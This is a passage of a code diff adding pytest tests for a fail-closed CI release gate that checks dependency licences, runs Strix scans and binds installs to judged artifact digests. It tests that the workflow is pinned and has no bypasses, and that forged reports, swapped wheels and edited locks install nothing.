+    assert gate.GATE_STAGES == (gate.LICENSE_STAGE, gate.FULL_STAGE)
+
+
+def test_require_strix_credentials_accepts_an_explicit_name_list() -> None:
+    """The caller may narrow the checked names; absence still refuses."""
+    assert gate.require_strix_credentials({"A": "x"}, ["A"]) == []
+    failures = gate.require_strix_credentials({"A": ""}, ["A"])
+    assert failures[0].code == gate.STRIX_CREDENTIALS_ABSENT
+
+
+@pytest.mark.parametrize(
+    "mutate",
+    [
+        pytest.param(lambda payload: payload.update(ecosystems=["npm"]), id="no-enumerator"),
+        pytest.param(
+            lambda payload: payload.update(ecosystems=["python"]), id="python-only-subset"
+        ),
+    ],
+)
+def test_zero_enumerated_dependencies_always_carries_a_failure(
+    tmp_path: Path, mutate: object
+) -> None:
+    """An empty enumeration can never reach the dependency loop as a silent pass.
+
+    `gate` carries no separate "enumerated nothing" guard because every shape that
+    yields zero dependencies already yields a failure: an ecosystem with no
+    enumerator, or one whose expected set is empty, is ``SCOPE_UNVERIFIABLE``, and a
+    non-empty expected set that resolved nothing is a reconciliation mismatch plus
+    ``SCOPE_SET_MISMATCH``. This pins that invariant so the missing guard stays
+    correct rather than merely untested.
+    """
+    capture = build_capture(tmp_path)
+    payload = json.loads((capture / "release.json").read_text(encoding="utf-8"))
+    mutate(payload)  # type: ignore[operator]
+    (capture / "release.json").write_text(json.dumps(payload), encoding="utf-8")
+    # Strip the environment so python resolves nothing at all.
+    (capture / "python" / "installed.json").write_text(
+        json.dumps({"installed": []}), encoding="utf-8"
+    )
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    assert report.failures, "zero enumerated dependencies produced no failure"
+
+
+def test_an_empty_environment_with_a_populated_lock_is_a_reconciliation_failure(
+    tmp_path: Path,
+) -> None:
+    """The lock's members must be present; an empty environment refuses the release."""
+    capture = build_capture(tmp_path)
+    (capture / "python" / "installed.json").write_text(
+        json.dumps({"installed": []}), encoding="utf-8"
+    )
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    assert gate.LOCK_ENV_MISMATCH in _codes(report)
diff --git a/tests/test_release_dependency_gate_workflow_contract.py b/tests/test_release_dependency_gate_workflow_contract.py
new file mode 100644
index 0000000000..39402d5463
--- /dev/null
+++ b/tests/test_release_dependency_gate_workflow_contract.py
@@ -0,0 +1,441 @@
+"""Contract for the reusable pre-publish dependency gate workflow (issue #2342).
+
+``origin/main`` had no fail-closed pre-publish gate: the only license signal was
+``scripts/ci/sbom_inventory_aggregator.py``, a scheduled informational org SBOM
+roll-up. This workflow is the gate a release workflow must call *before* it
+publishes, and its outputs are exactly the inputs of
+``.github/workflows/exact-artifact-sbom-attestation.yml`` so provenance covers
+the bytes that were gated.
+"""
+
+from __future__ import annotations
+
+import re
+from pathlib import Path
+
+_WORKFLOW = Path(".github/workflows/release-dependency-license-strix-gate.yml")
+_ATTESTATION = Path(".github/workflows/exact-artifact-sbom-attestation.yml")
+
+_HARDEN_RUNNER_PIN = "bf7454d06d71f1098171f2acdf0cd4708d7b5920"
+_CHECKOUT_PIN = "9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0"
+_SETUP_PYTHON_PIN = "5fda3b95a4ea91299a34e894583c3862153e4b97"
+_UPLOAD_ARTIFACT_PIN = "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a"
+_DOWNLOAD_ARTIFACT_PIN = "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c"
+
+# The five provider credentials the Strix stage needs and the licence stage does not.
+_PROVIDER_SECRETS = (
+    "BYTEZ_API_KEY",
+    "NVIDIA_NIM_API_KEY",
+    "NVIDIA_NIM_API_KEY_SUB",
+    "OPENROUTER_API_KEY",
+    "OPENAI_API_KEY",
+)
+
+
+def _workflow_text() -> str:
+    """Read the reusable pre-publish dependency gate workflow as UTF-8 text."""
+    return _WORKFLOW.read_text(encoding="utf-8")
+
+
+def _attestation_input_names() -> list[str]:
+    """Return every required input name of the exact-artifact attestation workflow."""
+    text = _ATTESTATION.read_text(encoding="utf-8")
+    block = text.split("    inputs:\n", 1)[1].split("\npermissions:", 1)[0]
+    return re.findall(r"(?m)^      ([a-z0-9_]+):$", block)
+
+
+def test_workflow_is_reusable_and_never_branch_selectable() -> None:
+    """The gate is `workflow_call` only, so no branch can select its code."""
+    workflow = _workflow_text()
+    assert "on:\n  workflow_call:\n" in workflow
+    assert "workflow_dispatch:" not in workflow
+    assert "pull_request" not in workflow
+    assert "schedule:" not in workflow
+
+
+def test_every_attestation_input_is_a_gate_output() -> None:
+    """Composition is impossible unless the gate emits all 17 handoff fields."""
+    workflow = _workflow_text()
+    outputs = workflow.split("    outputs:\n", 1)[1].split("\npermissions:", 1)[0]
+    declared = set(re.findall(r"(?m)^      ([a-z0-9_]+):$", outputs))
+    assert set(_attestation_input_names()) == declared
+    assert len(declared) == 17
+
+
+def test_job_outputs_bind_the_sealing_and_upload_steps() -> None:
+    """Each workflow output is wired to the seal step or the same-run artifact."""
+    workflow = _workflow_text()
+    job_outputs = workflow.split("    outputs:\n", 2)[2].split("    steps:", 1)[0]
+    for name in _attestation_input_names():
+        assert f"      {name}: " in job_outputs
+    assert (
+        "evidence_artifact_id: ${{ steps.sealed-evidence.outputs.artifact-id }}" in job_outputs
+    )
+    assert (
+        "evidence_artifact_digest: sha256:"
+        "${{ steps.sealed-evidence.outputs.artifact-digest }}" in job_outputs
+    )
+
+
+def test_gate_has_no_bypass_of_any_kind() -> None:
+    """A fail-closed gate admits no continue-on-error, neutral, or always-run path."""
+    workflow = _workflow_text()
+    for forbidden in (
+        "continue-on-error",
+        "if: always()",
+        "if: ${{ always() }}",
+        "if: failure()",
+        "if: ${{ failure() }}",
+        "|| true",
+        "exit 0",
+        "--allow-failure",
+    ):
+        assert forbidden not in workflow, forbidden
+
+
+def test_every_action_is_pinned_to_the_same_commits_as_attestation() -> None:
+    """The gate and the attestation it feeds materialize identical trusted actions."""
+    workflow = _workflow_text()
+    attestation = _ATTESTATION.read_text(encoding="utf-8")
+    for pin in (_HARDEN_RUNNER_PIN, _CHECKOUT_PIN, _UPLOAD_ARTIFACT_PIN, _DOWNLOAD_ARTIFACT_PIN):
+        assert pin in workflow
+        assert pin in attestation
+    assert _SETUP_PYTHON_PIN in workflow
+    references = re.findall(r"(?m)^ +uses: (.+)$", workflow)
+    # Eight: harden-runner, two checkouts, setup-python, download-artifact, and
+    # three uploads (sealed evidence, the licence report, the gate report).
+    assert len(references) == 8
+    for reference in references:
+        assert re.match(r"^[^@]+@[0-9a-f]{40} # ", reference), reference
+
+
+def test_permissions_are_read_only_at_workflow_and_job_scope() -> None:
+    """The gate never needs write access; it only reads and uploads its evidence."""
+    workflow = _workflow_text()
+    assert "\npermissions:\n  contents: read\n" in workflow
+    job = workflow.split("  gate:\n", 1)[1]
+    assert "    permissions:\n      contents: read\n" in job
+    for forbidden in ("contents: write", "id-token: write", "pull-requests: write"):
+        assert forbidden not in workflow
+
+
+def test_trusted_gate_is_materialized_from_this_repository_at_its_pinned_sha() -> None:
+    """The decision code is the base repository's, never the caller's tree."""
+    workflow = _workflow_text()
+    assert "repository: ContextualWisdomLab/.github" in workflow
+    assert "ref: 00c6551183cca101cfc97c43656a17cc2491c1b4" in workflow
+    assert "path: trusted-gate" in workflow
+    assert "persist-credentials: false" in workflow
+    # The whole scripts/ci tree, because the trusted Strix gate, the
+    # orchestrator sidecar and the token loader each source siblings by their
+    # own directory; an enumerated file list breaks silently when one is added.
+    assert "sparse-checkout: |\n            scripts/ci/\n" in workflow
+    assert "requirements-strix-ci-hashes.txt" in workflow
+    assert "sparse-checkout-cone-mode: false" in workflow
+
+
+def test_gate_steps_run_only_the_trusted_materialized_code() -> None:
+    """Every gate invocation is isolated and rooted in the trusted checkout."""
+    workflow = _workflow_text()
+    # `[\w-]+` and not `\w+`: the hyphenated subcommands (validate-inputs,
+    # require-strix-credentials) must be pinned to the trusted checkout as well,
+    # and `\w+` silently stopped at the first hyphen.
+    invocations = re.findall(r"python3 [^\n]*release_dependency_gate\.py [\w-]+", workflow)
+    assert len(invocations) == 6, invocations
+    for subcommand in (
+        "validate-inputs",
+        "capture",
+        "prescreen",
+        "require-strix-credentials",
+        "gate",
+        "seal",
+    ):
+        assert any(item.endswith(f" {subcommand}") for item in invocations), subcommand
+    for invocation in invocations:
+        assert invocation.startswith(
+            "python3 -I trusted-gate/scripts/ci/release_dependency_gate.py"
+        ), invocation
+    assert "bash trusted-gate/scripts/ci/release_dependency_capture_raw.sh" in workflow
+
+
+def test_step_order_captures_then_strixes_then_gates_then_seals() -> None:
+    """Sealing may only follow a passing gate, which may only follow Strix evidence."""
+    workflow = _workflow_text()
+    order = [
+        "Harden runner",
+        "Materialize immutable trusted gate",
+        "Validate the exact release identity before anything else runs",
+        "Check out the exact release head",
+        "Collect the release closure without installing or executing it",
+        "Assemble per-dependency evidence and isolated synthetic fixtures",
+        "Refuse a denied or unverifiable licence before any credential exists",
+        # Installing runs dependency code, so it may only follow the licence stage.
+        "Install the prescreened closure into a lock-only environment",
+        "Require every Strix provider credential before the Strix stage starts",
+        "Provision the zero-cost review gateway for Strix",
+        "Run Strix against one isolated synthetic fixture per dependency",
+        "Refuse the release unless every dependency passes",
+        "Seal exactly the gated bytes for attestation",
+        "Export the sealed evidence as one immutable same-run artifact",
+    ]
+    positions = [workflow.index(marker) for marker in order]
+    assert positions == sorted(positions), "gate steps are out of order"
+
+
+def test_the_licence_decision_precedes_every_credential_and_model_step() -> None:
+    """A denied licence is refused before a provider secret is read at all.
+
+    `capture` only assembles evidence and fixtures; it rejects no licence. The
+    fail-closed licence determination therefore runs as its own step, ahead of the
+    gateway, the Strix toolchain, the credential binding, and Strix itself.
+    """
+    workflow = _workflow_text()
+    prescreen = workflow.index("release_dependency_gate.py prescreen")
+    for later in (
+        "contextual_orchestrator_review_sidecar.sh",
+        "load_contextual_orchestrator_token.sh",
+        "Install the pinned Strix toolchain",
+        "strix_quick_gate.sh",
+        "release_dependency_gate.py gate",
+    ):
+        assert prescreen < workflow.index(later), later
+    # The first mention of any provider secret must come after the licence stage.
+    first_secret = min(
+        workflow.index(f"secrets.{secret}") for secret in _PROVIDER_SECRETS
+    )
+    assert prescreen < first_secret
+
+
+def test_the_exact_sha_shape_is_validated_before_any_credentialed_step() -> None:
+    """An input typed only as `string` is shape-checked before the release is fetched."""
+    workflow = _workflow_text()
+    validate = workflow.index("release_dependency_gate.py validate-inputs")
+    assert validate < workflow.index("Check out the exact release head")
+    assert validate < workflow.index("release_dependency_gate.py prescreen")
+    assert "--source-sha " in workflow
+    assert "--source-repository " in workflow
+
+
+def test_provider_secrets_are_optional_but_the_strix_stage_still_requires_them() -> None:
+    """Optional secrets enable a credential-free licence run, never a skipped scan."""
+    workflow = _workflow_text()
+    block = workflow.split("    secrets:\n", 1)[1].split("    outputs:", 1)[0]
+    for secret in _PROVIDER_SECRETS:
+        assert f"      {secret}:\n        required: false\n" in block, secret
+    assert "required: true" not in block
+    # Absence is enforced by a command that fails, not by a condition that skips,
+    # and that command runs the trusted checkout's code like every other stage.
+    assert (
+        "python3 -I trusted-gate/scripts/ci/release_dependency_gate.py "
+        "require-strix-credentials" in workflow
+    )
+    assert "STRIX_CREDENTIALS_ABSENT" in workflow
+
+
+def test_no_step_is_conditional_on_a_secret_being_present() -> None:
+    """A secret-conditional `if:` would skip the scan instead of failing closed."""
+    workflow = _workflow_text()
+    for line in workflow.splitlines():
+        stripped = line.strip()
+        if stripped.startswith("if:"):
+            assert "secrets." not in stripped, line
+    # Secrets reach steps only as environment bindings, each binding its own name.
+    for line in workflow.splitlines():
+        if "secrets." in line:
+            assert re.fullmatch(
+                r"[A-Z0-9_]+: \$\{\{ secrets\.[A-Z0-9_]+ \}\}", line.strip()
+            ), line
+
+
+def test_failure_evidence_survives_the_failure_that_produced_it() -> None:
+    """Each report uploads on failure too, bound to the step that writes it."""
+    workflow = _workflow_text()
+    for step_id, name in (
+        ("license-stage", "release-dependency-license-report"),
+        ("full-stage", "release-dependency-gate-report"),
+    ):
+        assert f"        id: {step_id}\n" in workflow
+        condition = (
+            f"        if: ${{{{ !cancelled() && steps.{step_id}.conclusion != 'skipped' }}}}\n"
+        )
+        assert condition in workflow, step_id
+        assert (
+            "          name: ${{ inputs.evidence_artifact_name == "
+            "'release-dependency-sealed-evidence' && "
+            f"'{name}' || format('{name}--{{0}}', inputs.evidence_artifact_name) }}}}\n"
+        ) in workflow
+    # A missing report stays a failure rather than being masked. Only executable
+    # lines are counted; the prose above these steps names the setting too.
+    executable = [
+        line for line in workflow.splitlines() if not line.lstrip().startswith("#")
+    ]
+    assert sum("if-no-files-found: error" in line for line in executable) == 3
+    # `always()` is forbidden outright by test_gate_has_no_bypass_of_any_kind; the
+    # only conditions in this workflow are the two evidence-retention ones plus the
+    # pre-existing lock-only install guard.
+    conditions = [line.strip() for line in executable if line.strip().startswith("if:")]
+    assert len(conditions) == 3
+
+
+def _render_report_names(evidence_name: str) -> set[str]:
+    """Check the shipped limited expression contract, then substitute its input.
+
+    This is a static contract check, not a GitHub Actions expression runtime.
+    Only ASCII fixtures are modeled: Actions string equality ignores case,
+    while format preserves the supplied input's spelling.
+    """
+    assert evidence_name.isascii()
+    expressions = re.findall(
+        r"name: \$\{\{ inputs\.evidence_artifact_name == '([^']+)' && "
+        r"'([^']+)' \|\| format\('([^']+)', inputs\.evidence_artifact_name\) \}\}",
+        _workflow_text(),
+    )
+    assert len(expressions) == 2
+    return {
+        legacy if evidence_name.lower() == default.lower() else template.format(evidence_name)
+        for default, legacy, template in expressions
+    }
+
+
+def test_repeated_calls_have_disjoint_diagnostic_artifact_names() -> None:
+    """Two same-run legs retain both reports without reusing upload names."""
+    first = _render_report_names("license-evidence-linux-py312")
+    second = _render_report_names("license-evidence-windows-py314")
+    assert len(first) == len(second) == 2
+    assert first.isdisjoint(second)
+    assert len(first | second | {
+        "license-evidence-linux-py312", "license-evidence-windows-py314"
+    }) == 6
+
+
+def test_default_reports_keep_legacy_names_without_custom_call_collision() -> None:
+    """Existing single-call consumers keep their names, even next to a custom leg."""
+    default = "release-dependency-sealed-evidence"
+    assert f"        default: {default}\n" in _workflow_text()
+    legacy = _render_report_names(default)
+    assert legacy == {"release-dependency-license-report", "release-dependency-gate-report"}
+    for custom in ("release-dependency", "license-evidence-linux-py312"):
+        assert legacy.isdisjoint(_render_report_names(custom))
+
+
+def test_case_variants_of_default_are_not_distinct_report_names() -> None:
+    """Case-only default variants share legacy names; callers must not mix them."""
+    legacy = _render_report_names("release-dependency-sealed-evidence")
+    for variant in (
+        "RELEASE-DEPENDENCY-SEALED-EVIDENCE",
+        "Release-Dependency-Sealed-Evidence",
+    ):
+        assert _render_report_names(variant) == legacy
+        assert all("--" not in name for name in _render_report_names(variant))
+
+
+def test_custom_names_preserve_spelling_and_require_caller_namespace() -> None:
+    custom = "License-Evidence-Linux-Py312"
+    assert _render_report_names(custom) == {
+        f"release-dependency-license-report--{custom}",
+        f"release-dependency-gate-report--{custom}",
+    }
+    # Arbitrary sealed names can still collide with another call's diagnostic
+    # name. FMLS callers use the separate lowercase license-evidence-* prefix.
+    lower_custom = "license-evidence-linux-py312"
+    derived = f"release-dependency-license-report--{lower_custom}"
+    assert derived in _render_report_names(lower_custom)
+    assert not derived.startswith("license-evidence-")
+
+
+def test_strix_uses_the_zero_cost_gateway_and_never_a_direct_provider() -> None:
+    """Strix routes through the vendored orchestrator's fail-closed free pool."""
+    workflow = _workflow_text()
+    assert "printf '%s' 'orchestrator/free' > \"${RUNNER_TEMP}/strix_llm.txt\"" in workflow
+    assert "STRIX_LLM_DEFAULT_PROVIDER: contextual_orchestrator" in workflow
+    assert 'sidecar_base" != "http://127.0.0.1:18080"' in workflow
+    assert "scripts/ci/contextual_orchestrator_review_sidecar.sh" in workflow
+    assert "scripts/ci/load_contextual_orchestrator_token.sh" in workflow
+    for secret in (
+        "BYTEZ_API_KEY",
+        "NVIDIA_NIM_API_KEY",
+        "NVIDIA_NIM_API_KEY_SUB",
+        "OPENROUTER_API_KEY",
+        "OPENAI_API_KEY",
+    ):
+        assert f"{secret}: ${{{{ secrets.{secret} }}}}" in workflow
+    assert "COPILOT_GITHUB_TOKEN" not in workflow
+
+
+def test_strix_runs_through_the_trusted_gate_in_an_isolated_fixture_workspace() -> None:
+    """Each fixture is scanned by the org's trusted Strix gate, one workspace each."""
+    workflow = _workflow_text()
+    assert 'bash "$trusted_gate_root/scripts/ci/strix_quick_gate.sh"' in workflow
+    assert 'cd "$workspace" &&' in workflow
+    assert 'STRIX_REPO_ROOT="$workspace"' in workflow
+    assert 'workspace="${RUNNER_TEMP}/strix-workspace/${slug}"' in workflow
+    # The scanned directory holds the fixture only; the trusted binder the gate
+    # requires at $STRIX_REPO_ROOT/scripts/ci sits beside it, never inside it.
+    assert "STRIX_TARGET_PATH: fixture" in workflow
+    assert 'cp "$fixture" "$workspace/fixture/fixture.json"' in workflow
+    assert 'IS_PR_EVIDENCE_RUN: "false"' in workflow
+    # The trusted gate resolves its binder against STRIX_REPO_ROOT on current
+    # main and against its own script directory once #2291 lands; the binder is
+    # copied into each workspace so both resolutions hold without editing that
+    # file, which #2291 owns.
+    assert (
+        'cp "$trusted_gate_root/scripts/ci/strix_evidence_binding.py" \\\n'
+        '              "$workspace/scripts/ci/strix_evidence_binding.py"' in workflow
+    )
+
+
+def test_lock_only_environment_holds_only_the_prescreened_lock() -> None:
+    """Lock/environment agreement is meaningless unless the env holds only the lock.
+
+    The environment is created and installed into *after* the licence stage, by the
+    trusted script's gated install mode, so the workflow names the interpreter and
+    the collected root rather than running pip itself.
+    """
+    workflow = _workflow_text()
+    assert 'python3 -m venv --without-pip "${RUNNER_TEMP}/gate-venv"' in workflow
+    assert "--install-gated" in workflow
+    assert '--python-interpreter "${RUNNER_TEMP}/gate-venv/bin/python"' in workflow
+    assert '--license-report "${RUNNER_TEMP}/license-report.json"' in workflow
+    # Collection and the gated install must share one download root, so the bytes
+    # that were judged are the bytes that get installed.
+    assert workflow.count('--download-root "${RUNNER_TEMP}/collected"') == 2
+
+
+def test_strix_binding_is_written_with_the_structured_contract_only() -> None:
+    """The binding the gate requires is emitted from machine-readable findings."""
+    workflow = _workflow_text()
+    assert 'schema: "cwl.release-dependency-strix-binding/1"' in workflow
+    assert "vulnerabilities.json" in workflow
+    assert "no_exploitable_findings" in workflow
+    assert "findings_present" in workflow
+    assert "STRIX_BINDING_MISSING" in workflow
+
+
+def test_model_path_carries_no_elapsed_time_budget() -> None:
+    """Per docs/product-goal-directive.md section 8, inference time is never capped.
+
+    `#1889`, `#1890`, and `#1892` each capped a model step and were all reverted.
+    Every Strix timeout knob is therefore pinned to the unbounded value 0.
+    """
+    workflow = _workflow_text()
+    for unbounded in (
+        "export LLM_TIMEOUT=0",
+        "export STRIX_MEMORY_COMPRESSOR_TIMEOUT=0",
+        "export STRIX_PROCESS_TIMEOUT_SECONDS=0",
+        "export STRIX_TOTAL_TIMEOUT_SECONDS=0",
+    ):
+        assert unbounded in workflow
+    # Comments may name the trusted timeout-compat helpers; only executable
+    # lines are scanned for an actual budget.
+    remainder = "\n".join(
+        line for line in workflow.splitlines() if not line.lstrip().startswith("#")
+    )
+    for allowed in (
+        "timeout-minutes: 360",
+        "export LLM_TIMEOUT=0",
+        "export STRIX_MEMORY_COMPRESSOR_TIMEOUT=0",
+        "export STRIX_PROCESS_TIMEOUT_SECONDS=0",
+        "export STRIX_TOTAL_TIMEOUT_SECONDS=0",
+    ):
+        remainder = remainder.replace(allowed, "")
+    assert "timeout" not in remainder.lower()
diff --git a/tests/test_release_dependency_install_binding.py b/tests/test_release_dependency_install_binding.py
new file mode 100644
index 0000000000..9731ebc0cf
--- /dev/null
+++ b/tests/test_release_dependency_install_binding.py
@@ -0,0 +1,453 @@
+"""The install may only install what the verdict judged (#2342).
+
+Independent review of `03ba1777` showed that a report carrying nothing but
+``{"stage": "license", "result": "PASS"}`` authorized the gated install, which
+then re-read the *original* lock. Two consequences: a forged or stale two-field
+report was sufficient, and a lock recording several hashes for one project let
+``--require-hashes`` accept an artifact whose licence and contents were never
+judged — the judged digest and the installed digest were never compared.
+
+`bind-install` closes both. It requires the lock to still digest to what the
+verdict read, every judged artifact to be present in the collected root by
+digest, and the root to hold nothing else; then it pins each project to the one
+judged digest. These tests drive the real shell path with a pip recorder, so the
+negative cases prove zero installs rather than a rejected argument list.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import json
+import os
+import subprocess
+import zipfile
+from pathlib import Path
+
+import pytest
+
+from scripts.ci import release_dependency_gate as gate
+from tests.test_release_dependency_gate import REVIEWED_TEXTS
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+CAPTURE_SCRIPT = REPO_ROOT / "scripts" / "ci" / "release_dependency_capture_raw.sh"
+_METADATA = "Metadata-Version: 2.4\nName: green-lib\nVersion: 1.0.0\nLicense-Expression: MIT\n\n"
+
+
+def _wheel(directory: Path, name: str = "green_lib-1.0.0-py3-none-any.whl", body: str = "") -> Path:
+    directory.mkdir(parents=True, exist_ok=True)
+    path = directory / name
+    with zipfile.ZipFile(path, "w") as archive:
+        archive.writestr("green_lib-1.0.0.dist-info/METADATA", _METADATA)
+        archive.writestr("green_lib/__init__.py", body)
+        archive.writestr("LICENSE", REVIEWED_TEXTS["pytest-9.1.1.txt"])
+    return path
+
+
+def _digest(path: Path) -> str:
+    return hashlib.sha256(path.read_bytes()).hexdigest()
+
+
+def _report(
+    path: Path,
+    *,
+    lock_digest: str,
+    rows: list[dict[str, object]],
+    result: str = "PASS",
+) -> Path:
+    path.write_text(
+        json.dumps(
+            {
+                "schema": "cwl.release-dependency-gate/1",
+                "stage": "license",
+                "result": result,
+                "python_lock_sha256": lock_digest,
+                "dependencies": rows,
+            }
+        )
+        + "\n",
+        encoding="utf-8",
+    )
+    return path
+
+
+def _row(digest: str, *, name: str = "green-lib", version: str = "1.0.0") -> dict[str, object]:
+    return {
+        "key": f"pypi/{name}@{version}",
+        "ecosystem": "pypi",
+        "name": name,
+        "version": version,
+        "source_sha256": digest,
+        "license": "MIT",
+        "license_member_sha256": {"LICENSE": hashlib.sha256(
+            REVIEWED_TEXTS["pytest-9.1.1.txt"].encode()).hexdigest()},
+    }
+
+
+@pytest.fixture()
+def bench(tmp_path: Path) -> dict[str, Path]:
+    """One collected artifact, its lock, and a capture root holding that lock."""
+    collected = tmp_path / "collected"
+    wheel = _wheel(collected)
+    capture_python = tmp_path / "capture" / "python"
+    capture_python.mkdir(parents=True)
+    lock = capture_python / "lock.txt"
+    # A two-hash lock: the judged artifact plus a second acceptable digest. This is
+    # the shape that made the old install unsafe.
+    lock.write_text(
+        f"green-lib==1.0.0 \\\n    --hash=sha256:{_digest(wheel)} \\\n"
+        f"    --hash=sha256:{'b' * 64}\n",
+        encoding="utf-8",
+    )
+    return {
+        "collected": collected,
+        "wheel": wheel,
+        "capture": tmp_path / "capture",
+        "lock": lock,
+        "root": tmp_path,
+    }
+
+
+def _recorder(tmp_path: Path) -> tuple[Path, Path]:
+    log = tmp_path / "pip-calls.log"
+    script = tmp_path / "fake-pip"
+    script.write_text(
+        "#!/usr/bin/env python3\n"
+        "import sys\n"
+        f"open({str(log)!r}, 'a', encoding='utf-8').write('\\t'.join(sys.argv[1:]) + '\\n')\n",
+        encoding="utf-8",
+    )
+    script.chmod(0o755)
+    return script, log
+
+
+def _install(bench: dict[str, Path], report: Path) -> tuple[subprocess.CompletedProcess[str], Path]:
+    pip, log = _recorder(bench["root"])
+    result = subprocess.run(
+        [
+            "bash",
+            str(CAPTURE_SCRIPT),
+            "--install-gated",
+            "--python-lock",
+            str(bench["lock"]),
+            "--capture-root",
+            str(bench["capture"]),
+            "--download-root",
+            str(bench["collected"]),
+            "--license-report",
+            str(report),
+        ],
+        capture_output=True,
+        text=True,
+        env=dict(os.environ, RELEASE_GATE_PIP=str(pip)),
+        check=False,
+    )
+    return result, log
+
+
+def _installs(log: Path) -> list[list[str]]:
+    if not log.exists():
+        return []
+    return [
+        line.split("\t")
+        for line in log.read_text(encoding="utf-8").splitlines()
+        if line and "install" in line.split("\t")
+    ]
+
+
+def test_a_two_field_report_no_longer_authorizes_an_install(bench: dict[str, Path]) -> None:
+    """The exact counterexample: stage and result alone must not be enough."""
+    report = bench["root"] / "r.json"
+    report.write_text(json.dumps({"stage": "license", "result": "PASS"}) + "\n", encoding="utf-8")
+    result, log = _install(bench, report)
+    assert result.returncode == 2
+    assert _installs(log) == []
+
+
+@pytest.mark.parametrize("forge_hashes", [False, True])
+def test_actual_restrictive_archive_cannot_be_authorized_by_sidecar(bench, forge_hashes):
+    text = "Academic research only. Commercial use prohibited."
+    with zipfile.ZipFile(bench["wheel"], "w") as archive:
+        archive.writestr("LICENSE", text)
+    digest = _digest(bench["wheel"])
+    bench["lock"].write_text(f"green-lib==1.0.0 --hash=sha256:{digest}\n")
+    row = _row(digest)
+    if forge_hashes:
+        row["license_member_sha256"] = {"LICENSE": hashlib.sha256(text.encode()).hexdigest()}
+    report = _report(bench["root"] / "r.json", lock_digest=_digest(bench["lock"]), rows=[row])
+    result, log = _install(bench, report)
+    assert result.returncode == 2
+    assert (gate.LICENSE_TEXT_UNVERIFIED if forge_hashes else gate.SOURCE_HASH_MISMATCH) in result.stderr
+    assert _installs(log) == []
+
+
+def test_an_install_bound_to_the_judged_artifact_pins_that_one_digest(
+    bench: dict[str, Path],
+) -> None:
+    """The positive case: the install reads the bound file, not the two-hash lock."""
+    judged = _digest(bench["wheel"])
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[_row(judged)],
+    )
+    result, log = _install(bench, report)
+    assert result.returncode == 0, result.stderr
+    installs = _installs(log)
+    assert len(installs) == 1
+    argv = installs[0]
+    bound = bench["collected"] / "gated-requirements.txt"
+    assert argv[argv.index("-r") + 1] == str(bound)
+    assert bound.read_text(encoding="utf-8") == f"green-lib==1.0.0 --hash=sha256:{judged}\n"
+    # The second acceptable hash from the lock is deliberately absent.
+    assert "b" * 64 not in bound.read_text(encoding="utf-8")
+
+
+def test_a_lock_changed_since_the_verdict_installs_nothing(bench: dict[str, Path]) -> None:
+    """A lock edited after the licence stage is not the lock that was judged."""
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[_row(_digest(bench["wheel"]))],
+    )
+    bench["lock"].write_text(
+        f"green-lib==1.0.0 --hash=sha256:{'c' * 64}\n", encoding="utf-8"
+    )
+    result, log = _install(bench, report)
+    assert result.returncode == 2
+    assert _installs(log) == []
+
+
+def test_a_swapped_artifact_installs_nothing(bench: dict[str, Path]) -> None:
+    """Replacing the collected bytes after the verdict breaks the digest binding."""
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[_row(_digest(bench["wheel"]))],
+    )
+    _wheel(bench["collected"], body="# different bytes\n")
+    result, log = _install(bench, report)
+    assert result.returncode == 2
+    assert _installs(log) == []
+
+
+def test_an_extra_unjudged_distribution_installs_nothing(bench: dict[str, Path]) -> None:
+    """An additional wheel nobody judged must refuse the whole install."""
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[_row(_digest(bench["wheel"]))],
+    )
+    _wheel(bench["collected"], name="extra_lib-2.0.0-py3-none-any.whl", body="x")
+    result, log = _install(bench, report)
+    assert result.returncode == 2
+    assert _installs(log) == []
+
+
+def test_a_failing_report_installs_nothing(bench: dict[str, Path]) -> None:
+    """A copyleft or unknown licence refusal must still stop the install."""
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[_row(_digest(bench["wheel"]))],
+        result="FAIL",
+    )
+    result, log = _install(bench, report)
+    assert result.returncode == 2
+    assert _installs(log) == []
+
+
+def test_a_report_without_a_lock_digest_is_refused(bench: dict[str, Path]) -> None:
+    """An older report shape carries no binding and cannot authorize an install."""
+    with pytest.raises(gate.GateError) as error:
+        gate.bind_install_requirements(
+            _report(bench["root"] / "r.json", lock_digest="", rows=[_row("a" * 64)]),
+            bench["capture"],
+            bench["collected"],
+            bench["root"] / "out.txt",
+        )
+    assert error.value.code == gate.LICENSE_MISSING
+
+
+@pytest.mark.parametrize(
+    ("rows", "code"),
+    [
+        ([], gate.LICENSE_MISSING),
+        ([{"key": "pypi/x@1", "ecosystem": "pypi", "name": "x", "version": "1"}], "SOURCE_HASH_MISMATCH"),
+    ],
+    ids=["no-python-rows", "row-without-digest"],
+)
+def test_an_unusable_judged_set_is_refused(
+    bench: dict[str, Path], rows: list[dict[str, object]], code: str
+) -> None:
+    """A verdict that names no usable Python artifact cannot bind an install."""
+    with pytest.raises(gate.GateError) as error:
+        gate.bind_install_requirements(
+            _report(bench["root"] / "r.json", lock_digest=_digest(bench["lock"]), rows=rows),
+            bench["capture"],
+            bench["collected"],
+            bench["root"] / "out.txt",
+        )
+    assert error.value.code == code
+
+
+def test_malformed_report_rows_are_refused(bench: dict[str, Path]) -> None:
+    """A report whose dependency list is not a list cannot be read as empty."""
+    report = bench["root"] / "r.json"
+    report.write_text(
+        json.dumps(
+            {
+                "stage": "license",
+                "result": "PASS",
+                "python_lock_sha256": _digest(bench["lock"]),
+                "dependencies": "not-a-list",
+            }
+        )
+        + "\n",
+        encoding="utf-8",
+    )
+    with pytest.raises(gate.GateError) as error:
+        gate.bind_install_requirements(
+            report, bench["capture"], bench["collected"], bench["root"] / "out.txt"
+        )
+    assert error.value.code == gate.LICENSE_MISSING
+
+
+def test_a_symlinked_collected_entry_is_not_accepted_as_an_artifact(
+    bench: dict[str, Path],
+) -> None:
